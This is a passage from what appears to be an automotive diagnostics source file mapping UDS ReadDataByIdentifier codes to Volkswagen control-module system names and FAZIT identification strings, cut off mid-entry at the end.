UDS_RDBI.dataIdentifiers[0x6cc3] = "Seat_cushion_fan_1_front_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cc4] = "Seat_cushion_fan_2_front_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cc5] = "Seat_backrest_fan_1_front_right_System_Name" UDS_RDBI.dataIdentifiers[0x6cc6] = "Seat_backrest_fan_2_front_right_System_Name" UDS_RDBI.dataIdentifiers[0x6cc7] = "Seat_cushion_fan_1_front_right_System_Name" UDS_RDBI.dataIdentifiers[0x6cc8] = "Seat_cushion_fan_2_front_right_System_Name" UDS_RDBI.dataIdentifiers[0x6cc9] = "Operating_and_display_unit_1_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6cca] = "Operating_and_display_unit_2_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6ccb] = "Operating_and_display_unit_3_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6ccc] = "Operating_and_display_unit_4_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6ccd] = "Operating_and_display_unit_5_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6cce] = "Pedestrian_protection_left_hand_side_System_Name" UDS_RDBI.dataIdentifiers[0x6ccf] = "Pedestrian_protection_right_hand_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cd0] = "Battery_junction_box_System_Name" UDS_RDBI.dataIdentifiers[0x6cd1] = "Cell_module_controller_1_System_Name" UDS_RDBI.dataIdentifiers[0x6cd2] = "Cell_module_controller_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cd3] = "Cell_module_controller_3_System_Name" UDS_RDBI.dataIdentifiers[0x6cd4] = "Cell_module_controller_4_System_Name" UDS_RDBI.dataIdentifiers[0x6cd5] = "Cell_module_controller_5_System_Name" UDS_RDBI.dataIdentifiers[0x6cd6] = "Cell_module_controller_6_System_Name" UDS_RDBI.dataIdentifiers[0x6cd7] = "Cell_module_controller_7_System_Name" UDS_RDBI.dataIdentifiers[0x6cd8] = "Cell_module_controller_8_System_Name" UDS_RDBI.dataIdentifiers[0x6cd9] = "Cell_module_controller_9_System_Name" UDS_RDBI.dataIdentifiers[0x6cda] = "Cell_module_controller_10_System_Name" UDS_RDBI.dataIdentifiers[0x6cdb] = "Cell_module_controller_11_System_Name" UDS_RDBI.dataIdentifiers[0x6cdc] = "Cell_module_controller_12_System_Name" UDS_RDBI.dataIdentifiers[0x6cdd] = "Seat_backrest_fan_1_rear_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cde] = "Seat_backrest_fan_2_rear_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cdf] = "Seat_cushion_fan_1_rear_left_System_Name" UDS_RDBI.dataIdentifiers[0x6ce0] = "Seat_cushion_fan_2_rear_left_System_Name" UDS_RDBI.dataIdentifiers[0x6ce1] = "Seat_backrest_fan_1_rear_right_System_Name" UDS_RDBI.dataIdentifiers[0x6ce2] = "Seat_backrest_fan_2_rear_right_System_Name" UDS_RDBI.dataIdentifiers[0x6ce3] = "Seat_cushion_fan_1_rear_right_System_Name" UDS_RDBI.dataIdentifiers[0x6ce4] = "Seat_cushion_fan_2_rear_right_System_Name" UDS_RDBI.dataIdentifiers[0x6ce5] = "Auxiliary_blower_motor_control_1_System_Name" UDS_RDBI.dataIdentifiers[0x6ce6] = "Auxiliary_blower_motor_control_2_System_Name" UDS_RDBI.dataIdentifiers[0x6ce7] = "Infrared_sender_for_front_observation_module_System_Name" UDS_RDBI.dataIdentifiers[0x6ce8] = "Starter_generator_control_module_sub_System_Name" UDS_RDBI.dataIdentifiers[0x6ce9] = "Media_player_1_sub_System_Name" UDS_RDBI.dataIdentifiers[0x6cea] = "Media_player_2_sub_System_Name" UDS_RDBI.dataIdentifiers[0x6ceb] = "Dedicated_short_range_communication_aerial_System_Name" UDS_RDBI.dataIdentifiers[0x6cec] = "Refrigerant_pressure_and_temperature_sender_4_System_Name" UDS_RDBI.dataIdentifiers[0x6ced] = "Refrigerant_pressure_and_temperature_sender_5_System_Name" UDS_RDBI.dataIdentifiers[0x6cee] = "Refrigerant_pressure_and_temperature_sender_6_System_Name" UDS_RDBI.dataIdentifiers[0x6cef] = "Air_coolant_actuator_1_System_Name" UDS_RDBI.dataIdentifiers[0x6cf0] = "Air_coolant_actuator_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cf1] = "Cell_module_controller_13_System_Name" UDS_RDBI.dataIdentifiers[0x6cf2] = "Cell_module_controller_14_System_Name" UDS_RDBI.dataIdentifiers[0x6cf3] = "Cell_module_controller_15_System_Name" UDS_RDBI.dataIdentifiers[0x6cf5] = "Seat_heating_rear_1_System_Name" UDS_RDBI.dataIdentifiers[0x6cf6] = "LED_warning_indicator_System_Name" UDS_RDBI.dataIdentifiers[0x6cf7] = "Automatic_transmission_fluid_pump_System_Name" UDS_RDBI.dataIdentifiers[0x6cf8] = "Manual_transmission_fluid_pump_System_Name" UDS_RDBI.dataIdentifiers[0x6cf9] = "Convenience_and_driver_assist_operating_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cfb] = "Air_coolant_actuator_3_System_Name" UDS_RDBI.dataIdentifiers[0x6cfc] = "Valve_block_4_in_driver_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cfd] = "Valve_block_4_in_passenger_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cfe] = "Valve_block_4_in_driver_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cff] = "Valve_block_4_in_passenger_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6d01] = "Rear_climatronic_operating_and_display_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d02] = "Refrigerant_expansion_valve_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d03] = "Refrigerant_expansion_valve_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d04] = "Refrigerant_expansion_valve_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d05] = "Refrigerant_shut_off_valve_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d06] = "Refrigerant_shut_off_valve_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d07] = "Refrigerant_shut_off_valve_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d08] = "Refrigerant_shut_off_valve_4_System_Name" UDS_RDBI.dataIdentifiers[0x6d09] = "Refrigerant_shut_off_valve_5_System_Name" UDS_RDBI.dataIdentifiers[0x6d0a] = "Sunlight_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x6d0b] = "Near_field_communication_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d0c] = "Clutch_control_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d0d] = "Electrical_charger_System_Name" UDS_RDBI.dataIdentifiers[0x6d0e] = "Rear_light_left_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d0f] = "Rear_light_right_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d10] = "Rear_light_right_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d11] = "Sunlight_sensor_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d12] = "Radiator_shutter_System_Name" UDS_RDBI.dataIdentifiers[0x6d13] = "Radiator_shutter_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d14] = "Radiator_shutter_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d15] = "Radiator_shutter_4_System_Name" UDS_RDBI.dataIdentifiers[0x6d18] = "Special_key_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d19] = "Radio_interface_System_Name" UDS_RDBI.dataIdentifiers[0x6d1a] = "Video_self_protection_recorder_System_Name" UDS_RDBI.dataIdentifiers[0x6d1b] = "Special_vehicle_assist_interface_System_Name" UDS_RDBI.dataIdentifiers[0x6d1c] = "Electric_system_disconnection_diode_System_Name" UDS_RDBI.dataIdentifiers[0x6d1d] = "Cradle_rear_climatronic_operating_and_display_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d1e] = "Belt_pretensioner_2nd_row_left_System_Name" UDS_RDBI.dataIdentifiers[0x6d1f] = "Belt_pretensioner_2nd_row_right_System_Name" UDS_RDBI.dataIdentifiers[0x6d20] = "Electrical_variable_camshaft_phasing_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d21] = "Electrical_variable_camshaft_phasing_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d22] = "Wireless_operating_unit_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d23] = "Wireless_operating_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d24] = "Front_windshield_washer_pump_System_Name" UDS_RDBI.dataIdentifiers[0x6d25] = "Air_quality_sensor_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d26] = "Fragrancing_system_System_Name" UDS_RDBI.dataIdentifiers[0x6d27] = "Coolant_valve_System_Name" UDS_RDBI.dataIdentifiers[0x6d28] = "Near_field_communication_control_module_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d29] = "Interior_monitoring_rear_System_Name" UDS_RDBI.dataIdentifiers[0x6d2a] = "Cooler_fan_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d2b] = "Control_unit_heating_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d2c] = "Control_unit_heating_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d2d] = "Control_unit_heating_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d2e] = "Control_unit_heating_4_System_Name" UDS_RDBI.dataIdentifiers[0x6d2f] = "Operating_unit_drive_mode_selection_System_Name" UDS_RDBI.dataIdentifiers[0x6d30] = "Side_sensor_a-pillar_driver_front_System_Name" UDS_RDBI.dataIdentifiers[0x6d31] = "Side_sensor_a-pillar_passenger_front_System_Name" UDS_RDBI.dataIdentifiers[0x6d32] = "Sensor_high_voltage_system_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d33] = "Side_sensor_b-pillar_driver_front_System_Name" UDS_RDBI.dataIdentifiers[0x6d34] = "Side_sensor_b-pillar_passenger_front_System_Name" UDS_RDBI.dataIdentifiers[0x6d35] = "Multi_function_steering_wheel_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d36] = "Gear_selection_display_System_Name" UDS_RDBI.dataIdentifiers[0x6d37] = "Cooler_fan_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d38] = "Gear_selector_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6d39] = "Interior_light_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d3a] = "Radio_control_center_System_Name" UDS_RDBI.dataIdentifiers[0x6d3b] = "Multimedia_extension_System_Name" UDS_RDBI.dataIdentifiers[0x6d3c] = "Control_unit_differential_lock_System_Name" UDS_RDBI.dataIdentifiers[0x6d3d] = "Control_unit_ride_control_system_System_Name" UDS_RDBI.dataIdentifiers[0x6d3e] = "Control_unit_hands_on_detection_steering_wheel_System_Name" UDS_RDBI.dataIdentifiers[0x6d3f] = "Front_climatronic_operating_and_display_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d40] = "Auxiliary_display_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d41] = "Card_reader_tv_tuner_System_Name" UDS_RDBI.dataIdentifiers[0x6d42] = "Park_lock_actuator_System_Name" UDS_RDBI.dataIdentifiers[0x6d43] = "Media_connector_System_Name" UDS_RDBI.dataIdentifiers[0x6d44] = "Catalyst_heating_System_Name" UDS_RDBI.dataIdentifiers[0x6e01] = "Control_unit_for_wiper_motor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e02] = "Rain_light_recognition_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e03] = "Light_switch_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e04] = "Garage_door_opener_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e05] = "Garage_door_opener_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e06] = "Ignition_key_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e07] = "Left_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e08] = "Right_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e09] = "Left_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0a] = "LED_headlamp_powermodule_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0b] = "LED_headlamp_powermodule_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0c] = "LED_headlamp_powermodule_2_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0d] = "LED_headlamp_powermodule_2_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0e] = "Operating_and_display_unit_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0f] = "Operating_and_display_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e10] = "Right_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e11] = "Data_medium_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e12] = "Drivers_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e13] = "Front_passengers_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e14] = "Left_headlamp_power_output_stage_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e15] = "Right_headlamp_power_output_stage_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e16] = "Sensor_for_anti_theft_alarm_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e17] = "Rear_lid_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e18] = "Alarm_horn_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e19] = "Automatic_day_night_interior_mirror_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1a] = "Remote_control_auxiliary_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1b] = "Fresh_air_blower_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1c] = "Fresh_air_blower_back_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1d] = "Alternator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1e] = "Interior_light_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1f] = "Refrigerant_pressure_and_temperature_sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e20] = "Sun_roof_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e21] = "Steering_column_lock_actuator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e22] = "Anti_theft_tilt_system_control_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e23] = "Tire_pressure_monitor_antenna_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e24] = "Heated_windshield_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e25] = "Rear_light_left_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e26] = "Ceiling_light_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e27] = "Left_front_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e28] = "Right_front_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e29] = "Control_module_for_auxiliary_air_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2a] = "Belt Pretensioner left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2b] = "Belt Pretensioner right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2c] = "Occupant Detection_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2d] = "Selector_lever_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2e] = "NOx_sensor_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2f] = "NOx_sensor_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e30] = "Ioniser_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e31] = "Multi_function_steering_wheel_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e32] = "Left_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e33] = "Right_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e34] = "Left_rear_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e35] = "Right_rear_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e36] = "Display_unit_1_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e37] = "Battery_monitoring_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e38] = "Roof_blind_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e39] = "Sun_roof_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3a] = "Steering_angle_sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3b] = "Lane_change_assistant 2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3c] = "Pitch_rate_sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3d] = "ESP_sensor_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3e] = "Electronic_ignition_lock_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3f] = "Air_quality_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e40] = "Display_unit_2_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e41] = "Telephone_handset_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e42] = "Chip_card_reader_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e43] = "Traffic_data_aerial_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e44] = "Hands_free_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e45] = "Telephone_handset_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e46] = "Display_unit_front_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e47] = "Multimedia_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e48] = "Digital_sound_system_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e49] = "Electrically_adjustable_steering_column_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4a] = "Interface_for_external_multimedia_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4b] = "Relative_Air_Humidity_Interior_Sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4c] = "Drivers_door_rear_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4d] = "Passengers_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4e] = "Sensor_controlled_power_rear_lid_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4f] = "Camera_for_night_vision_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e50] = "Relative_humidity_sensor_in_fresh_air_intake_duct_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e51] = "Rear_spoiler_adjustment_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e52] = "Roof_blind_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e53] = "Motor_for_wind_deflector_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e54] = "Voltage_stabilizer_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e55] = "Switch_module_for_driver_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e56] = "Switch_module_for_front_passenger_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e57] = "Switch_module_for_rear_seat_driver_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e58] = "Switch_module_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e59] = "Switch_module_2_for_driver_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5a] = "Battery_charger_unit_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5b] = "Battery_charger_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5c] = "Battery_charger_unit_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5d] = "Air_conditioning_compressor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5e] = "Neck_heating_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5f] = "Neck_heating_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e60] = "Switch_module_2_for_front_passenger_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e61] = "Switch_module_2_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e62] = "Compact_disc_database_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e63] = "Rear_climatronic_operating_and_display_unit_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e64] = "Rear_climatronic_operating_and_display_unit_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e65] = "Door_handle_front_left_Kessy_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e66] = "Door_handle_front_right_Kessy_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e67] = "Door_handle_rear_left_Kessy_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e68] = "Door_handle_rear_right_Kessy_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e69] = "Power_converter_DC_AC_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6a] = "Battery_monitoring_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6b] = "Matrix_headlamp_powermodule_1_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6c] = "Matrix_headlamp_powermodule_1_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6d] = "High_beam_powermodule_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6e] = "High_beam_powermodule_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6f] = "Air_suspension_compressor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e70] = "Rear_brake_actuator_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e71] = "Rear_brake_actuator_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e72] = "Analog_clock_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e73] = "Rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e79] = "Data_medium_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7a] = "Operating_unit_center_console_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7b] = "Operating_unit_center_console_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7c] = "Operating_unit_center_console_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7d] = "Operating_unit_center_console_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7e] = "Interface_for_radiodisplay_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7f] = "Parkassist_entry_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e86] = "Belt_pretensioner_3rd_row_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e87] = "Belt_pretensioner_3rd_row_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e88] = "Injection_valve_heater_control_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e89] = "Steering_column_switch_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8a] = "Brake_assistance_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8b] = "Trailer_articulation_angle_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8c] = "Cup_holder_with_heater_and_cooling_element_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8d] = "Range_of_vision_sensing_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8e] = "Convenience_and_driver_assist_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8f] = "Cradle_rear_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e90] = "Trailer_weight_nose_weight_detection_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e91] = "Sensor_carbon_dioxide_concentration_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e92] = "Sensor_fine_dust_concentration_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e93] = "Volume_control_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e94] = "Belt_buckle_presenter_2nd_row_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e95] = "Belt_buckle_presenter_2nd_row_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e96] = "Operating_and_display_unit_6_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e97] = "Active_accelerator_pedal_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e98] = "Multimedia_operating_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e99] = "Display_unit_3_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9a] = "Display_unit_4_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9b] = "Display_unit_5_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9c] = "Control_module_for_auxiliary_blower_motors_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9d] = "Operating_and_display_unit_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9e] = "Operating_and_display_unit_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9f] = "Operating_and_display_unit_5_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea0] = "Side Sensor Driver Front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea1] = "Side Sensor Passenger Front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea2] = "Side Sensor Driver Rear_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea3] = "Side Sensor Passenger Rear_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea4] = "Front Sensor Driver_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea5] = "Front Sensor Passenger_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea6] = "Pedestrian Protection Driver_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea7] = "Pedestrian Protection Passenger_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea8] = "Rear Sensor Center_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea9] = "Pedestrian Protection Center_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eaa] = "Pedestrian Protection Contact_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eab] = "Pedestrian_protection_driver_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eac] = "Pedestrian_protection_passenger_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ead] = "Central_sensor_XY_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eae] = "Refrigerant_pressure_and_temperature_sender_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eaf] = "Refrigerant_pressure_and_temperature_sender_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb0] = "Switch_for_rear_multicontour_seat_driver_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb1] = "Valve_block_1_in_driver_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb2] = 